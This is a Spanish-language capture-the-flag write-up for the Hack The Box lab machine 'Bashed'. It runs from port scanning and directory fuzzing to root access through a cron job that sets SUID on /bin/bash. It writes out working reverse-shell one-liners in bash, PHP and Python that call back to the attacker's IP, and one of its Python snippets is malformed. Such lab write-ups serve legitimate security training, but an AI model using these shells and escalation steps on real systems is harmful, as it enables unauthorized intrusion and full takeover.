Bashed - Hack The Box

Una máquina realmente sencilla. Vamos a aprovecharnos de una subpágina que es una shell de Bash como web, la cual vamos a usar para conectarnos de manera remota y en la cual, usaremos el usuario scriptmanager para escalar privilegios, usando un script en Python con él cambiaremos los permisos de la Bash para convertirnos en Root.

Herramientas utilizadas:

  • ping
  • nmap
  • wappalizer
  • wfuzz
  • gobuster
  • nc
  • wget
  • bash
  • python3
  • find
  • crontab






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está conectada y en base al TTL veremos que SO utiliza la máquina.

ping -c 4 10.10.10.68
PING 10.10.10.68 (10.10.10.68) 56(84) bytes of data.
64 bytes from 10.10.10.68: icmp_seq=1 ttl=63 time=129 ms
64 bytes from 10.10.10.68: icmp_seq=2 ttl=63 time=129 ms
64 bytes from 10.10.10.68: icmp_seq=3 ttl=63 time=129 ms
64 bytes from 10.10.10.68: icmp_seq=4 ttl=63 time=130 ms

--- 10.10.10.68 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3009ms
rtt min/avg/max/mdev = 128.647/129.243/130.365/0.663 ms

Gracias al TTL, sabemos que la máquina usa Linux. Hagamos los escaneos de puertos y servicios.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.68 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 15:28 CST
Initiating SYN Stealth Scan at 15:28
Scanning 10.10.10.68 [65535 ports]
Discovered open port 80/tcp on 10.10.10.68
Completed SYN Stealth Scan at 15:29, 25.99s elapsed (65535 total ports)
Nmap scan report for 10.10.10.68
Host is up, received user-set (0.78s latency).
Scanned at 2023-04-17 15:28:59 CST for 26s
Not shown: 50222 filtered tcp ports (no-response), 15312 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.09 seconds
           Raw packets sent: 124306 (5.469MB) | Rcvd: 15355 (614.220KB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Solo hay un puerto abierto que ya conocemos, hagamos el escaneo de servicios para ver que nos dice.

Escaneo de Servicios

nmap -sC -sV -p80 10.10.10.68 -oN targeted                              
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 15:52 CST
Nmap scan report for 10.10.10.68
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

Solo nos menciona que usa el servicio Apache. Vamos a analizar la página.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Vamos a entrar:

Bien, es una página algo simple. Veamos que nos dice Wappalizer:

Mmmmm no nos dice mucho, sigamos viendo la página. Hay una publicación de alguien llamado Development, ¿será un usuario? Quizá nos sirva más adelante.

Si investigamos el GitHub que nos menciona la publicación, podemos ver que es una herramienta que usa Bash, usada en PHP. En resumen, podemos usar una terminal bash dentro de la página web, usando cualquiera de los dos archivos que vienen en el GitHub. Ósea, phpbash.php o phpbash.min.php.

Por lo que entiendo, la máquina está usando dicha herramienta, así que debería estar cargada, pero como no sabemos donde está, vamos a hacer un Fuzzing.

Fuzzing

wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.68/FUZZ/         
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.68/FUZZ/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                              
=====================================================================

000000338:   200        16 L     59 W       939 Ch      "php"                                                                
000000016:   200        19 L     88 W       1564 Ch     "images"                                                             
000000014:   200        161 L    397 W      7743 Ch     "http://10.10.10.68//"                                               
000000550:   200        20 L     96 W       1758 Ch     "css"                                                                
000000834:   200        17 L     69 W       1148 Ch     "dev"                                                                
000000953:   200        26 L     165 W      3165 Ch     "js"                                                                 
000000083:   403        11 L     32 W       292 Ch      "icons"                                                              
000002771:   200        21 L     111 W      2095 Ch     "fonts"                                                              
000000164:   200        1 L      1 W        14 Ch       "uploads"                                                            
000045240:   200        161 L    397 W      7743 Ch     "http://10.10.10.68//"                                               
000095524:   403        11 L     32 W       300 Ch      "server-status"                                                      

Total time: 532.2590
Processed Requests: 220560
Filtered Requests: 220536
Requests/sec.: 414.3847
Parámetros Descripción
-c Para ver el resultado en un formato colorido.
–hc Para no mostrar un código de estado en los resultados.
-t Para indicar la cantidad de hilos a usar.
-w Para indicar el diccionario a usar en el fuzzing.


Ahora, probemos con gobuster:

gobuster dir -u http://10.10.10.68/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
/server-status        (Status: 403) [Size: 299]
Progress: 220483 / 220561 (99.96%)
===============================================================
Parámetros Descripción
-u Para indicar la URL a utilizar.
-w Para indicar el diccionario a usar en el fuzzing.
-t Para indicar la cantidad de hilos a usar.


Pues arrojo casi los mismos resultados, solo por curiosidad, veamos que nos dice nmap cuando apliquemos fuzzing.


Fuzzing con NMAP

nmap --script http-enum -p80 -oN webScan 10.10.10.68
Nmap 7.93 scan initiated Mon Apr 17 18:50:30 2023 as: nmap --script http-enum -p80 -oN webScan 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up (0.13s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /php/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_  /uploads/: Potentially interesting folder

Nmap done at Mon Apr 17 18:50:47 2023 -- 1 IP address (1 host up) scanned in 16.66 seconds

Muy bien, hay varios directorios, pero en este caso me interesan 3, la de php, uploads y dev.

Si tratamos de entrar a php y uploads, no encontraremos nada de interés, así que vámonos a la dev.

A cualquiera de esos archivos que le demos click, nos va a mandar a una bash interactiva desde la web, pero como es muy lenta vamos a conectarnos de manera remota.




Explotación de Vulnerabilidades


Ganando Acceso a la Máquina Víctima con Distintas Reverse Shell

Podemos hacer 2 cosas para tratar de conectarnos de manera remota, una sería usando un script en bash y la otra cargando una Reverse Shell en la carpeta uploads de la página.


Utilizando Bash para Conectarnos de Manera Remota

Bueno, hagamoslo por pasos:

  • Alzamos una netcat:
    nc -nvlp 443                              
    listening on [any] 443 ...
    
  • Vamos a usar el siguiente one-liner que es una Reverse Shell:
    bash -c "bash -i >& /dev/tcp/Tu_IP/443 0>&1"
    

    PERO, vamos a url encodearlo cambiando los ampersands (&) por %26. Una vez que lo hagas, ejecutalo y ya debería estar:

  • Y ya deberíamos estar conectados:
    nc -nvlp 443                                                    
    listening on [any] 443 ...
    connect to [Tu_IP] from (UNKNOWN) [10.10.10.68] 45400
    bash: cannot set terminal process group (815): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@bashed:/var/www/html/dev$ 
    www-data@bashed:/var/www/html/dev$ whoami
    whoami
    www-data
    

De una vez, vamos a obtener una sesión interactiva, sigue estos pasos:

  • Escribe el siguiente comando:
    script /dev/null -c bash
    
  • Presiona las teclas ctrl + z, debería aparecer el siguiente mensaje y luego la terminal de tu máquina:
    zsh: suspended  nc -nvlp 443
    
  • Ahora escribe el siguiente comando en tu máquina:
     stty raw -echo; fg       
    [1]  + continued  nc -nvlp 443
    
  • Escribe reset y te preguntará que tipo de terminal quieres, pon xterm:
    [1]  + continued  nc -nvlp 443
                                reset
    reset: unknown terminal type unknown
    Terminal type? xterm
    
  • Exportemos xterm, bash y cambiemos el tamaño de la terminal (este último es opcional, pero lo recomiendo):
    www-data@bashed:/var/www/html/dev$ export TERM=xterm
    www-data@bashed:/var/www/html/dev$ export SHELL=bash
    www-data@bashed:/var/www/html/dev$ stty rows 51 columns 189
    

    Y listo, ya tenemos nuestra terminal interactiva.


Cargando una Reverse Shell

Recordemos 2 cosas, una que la página trabaja con PHP y que tiene una carpeta llamada uploads.

Bien, ya conocemos una Reverse Shell de PHP, busquemos a Pentestmonkey:

Ahora, hagamos todo por pasos:

  • Clonamos la Reverse Shell de PHP:
    wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
    
  • Modificamos la Reverse Shell con nuestra IP y un puerto:
    set_time_limit (0);
    $VERSION = "1.0";
    $ip = 'Pon Aqui Tu IP';  // CHANGE THIS
    $port = 443;       // CHANGE THIS
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    $daemon = 0;
    $debug = 0;
    
  • Levantamos un servidor en Python en donde tenemos la Reverse Shell:
    python3 -m http.server   
    Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
    
  • Ahora en la página web, descargamos la Reverse Shell:
    wget Tu_IP:8000/php-reverse-shell.php
    

  • Bien, alzamos una netcat:
    nc -nvlp 443                                                    
    listening on [any] 443 ...
    
  • Cargamos la página:

Y ya deberíamos estar conectados.


Usando Reverse Shell de Python

Con Python, podemos ganar acceso de manera remota si utilizamos un one-liner que usa sockets para estableces una conexión, entre nuestra máquina y la máquina víctima, PERO no es una sesión interactiva, es decir, que no podremos usar nano.

Nunca esta demás usar siempre otras alternativas.

Vamos a hacerlo por pasos:

  • Alzamos una netcat:
    nc -nvlp 443                              
    listening on [any] 443 ...
    
  • Utiliza el siguiente one-liner de Python que es una Reverse Shell:
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Tu_IP",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
    
  • Observa el resultado en la netcat:
    nc -nvlp 443
    listening on [any] 443 ...
    connect to [Tu_IP] from (UNKNOWN) [10.10.10.68] 60532
    www-data@bashed:/var/www/html/dev$ whoami
    whoami
    www-data
    www-data@bashed:/var/www/html/dev$
    

    Y con esto terminamos.




Post Explotación


Enumeración Servicio SSH

Bueno, como siempre buscamos el directorio /home para encontrar la flag del usuario.

www-data@bashed:/var/www/html/dev$ cd /home
www-data@bashed:/home$ ls -la
total 16
drwxr-xr-x  4 root          root          4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
drwxr-xr-x  4 arrexel       arrexel       4096 Jun  2  2022 arrexel
drwxr-xr-x  3 scriptmanager scriptmanager 4096 Dec  4  2017 scriptmanager
www-data@bashed:/home$ cd arrexel/
www-data@bashed:/home/arrexel$ ls -la
total 32
drwxr-xr-x 4 arrexel arrexel 4096 Jun  2  2022 .
drwxr-xr-x 4 root    root    4096 Dec  4  2017 ..
lrwxrwxrwx 1 root    root       9 Jun  2  2022 .bash_history -> /dev/null
-rw-r--r-- 1 arrexel arrexel  220 Dec  4  2017 .bash_logout
-rw-r--r-- 1 arrexel arrexel 3786 Dec  4  2017 .bashrc
drwx------ 2 arrexel arrexel 4096 Dec  4  2017 .cache
drwxrwxr-x 2 arrexel arrexel 4096 Dec  4  2017 .nano
-rw-r--r-- 1 arrexel arrexel  655 Dec  4  2017 .profile
-rw-r--r-- 1 arrexel arrexel    0 Dec  4  2017 .sudo_as_admin_successful
-r--r--r-- 1 arrexel arrexel   33 Apr 17 14:24 user.txt
www-data@bashed:/home/arrexel$ cat user.txt

Listo, ahora veamos nuestros privilegios:

www-data@bashed:/home/arrexel$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Veo que el usuario scriptmanager no necesita ninguna contraseña.

Vamos a entrar como scriptmanager:

www-data@bashed:/home/arrexel$ sudo -u scriptmanager bash
scriptmanager@bashed:/home/arrexel$ 
scriptmanager@bashed:/home/arrexel$ whoami
scriptmanager

Pero aún no podemos hacer nada, pues si intentas usar comandos como SUDO, no vamos a poder hacer nada. ¿Qué podemos hacer entonces? Vamos a buscar que archivos podemos modificar:

scriptmanager@bashed:/$ find / -type f -user scriptmanager 2>/dev/null
/scripts/test.py
/home/scriptmanager/.profile
/home/scriptmanager/.bashrc
/home/scriptmanager/.bash_history
/home/scriptmanager/.bash_logout
/proc/2374/task/2374/fdinfo/0
/proc/2374/task/2374/fdinfo/1
/proc/2374/task/2374/fdinfo/2
/proc/2374/task/2374/fdinfo/255
/proc/2374/task/2374/environ
...

Veo algo curioso ahí, un archivo en Python dentro del directorio scripts, vamos a investigarlo:

scriptmanager@bashed:/$ cd /scripts
scriptmanager@bashed:/scripts$ ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Apr 17 17:17 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Apr 17 17:37 test.txt

Mmmmmm hagamos un cat al contenido:

scriptmanager@bashed:/scripts$ cat test.py 
f = open("test.txt", "w")
f.write("testing 123!")
f.close
scriptmanager@bashed:/scripts$ cat test.txt 
testing 123!

Quiero pensar, que el script de Python se ejecuta automáticamente como una tarea cron, entonces debemos aprovecharnos de eso.

Acceso como Root Usando Tarea Cron

Ahora, sabemos que podemos usar nano dentro la máquina víctima, vamos a modificar el script de Python para que modifique los permisos de la Bash, para que cualquier usuario pueda entrar como Root.

  • Revisa los permisos de la Bash:
    scriptmanager@bashed:/scripts$ ls -la /bin/bash
    -rwxr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
    
  • Opción 1 - borra el contenido del script y pon lo siguiente:
    import os
    chmod u+s /bin/bash
    
  • Opción 2 - crea un script aparte con el mismo código que creamos en la opción 1:
    echo "import os; os.system('chmod u+s /bin/bash');" > exploit.py
    
  • Excelente, una vez que guardes y cierres o que hayas usado la opción 2, revisa los permisos de la Bash:
    scriptmanager@bashed:/scripts$ ls -la /bin/bash
    -rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
    

Listo, entra a la Bash como Root:

scriptmanager@bashed:/scripts$ bash -p
bash-4.3# whoami
root
bash-4.3# cd /root
bash-4.3# ls -la
total 28
drwx------  3 root root 4096 Jun  2  2022 .
drwxr-xr-x 23 root root 4096 Jun  2  2022 ..
lrwxrwxrwx  1 root root    9 Jun  2  2022 .bash_history -> /dev/null
-rw-r--r--  1 root root 3121 Dec  4  2017 .bashrc
drwxr-xr-x  2 root root 4096 Jun  2  2022 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Dec  4  2017 .selected_editor
-r--------  1 root root   33 Apr 17 14:24 root.txt
bash-4.3# cat root.txt

Excelente, ya solamente revisemos si fue una tarea cron la que nos ayudo a ganar acceso:

bash-4.3# crontab -l
* * * * * cd /scripts; for f in *.py; do python "$f"; done

Y si, con esto terminamos esta máquina.



  • https://f1uffygoat.com/privesc/
  • https://www.revshells.com/
  • https://github.com/pentestmonkey/php-reverse-shell
  • https://esgeeks.com/post-explotacion-transferir-archivos-windows-linux/
  • https://ironhackers.es/tutoriales/como-conseguir-tty-totalmente-interactiva/


FIN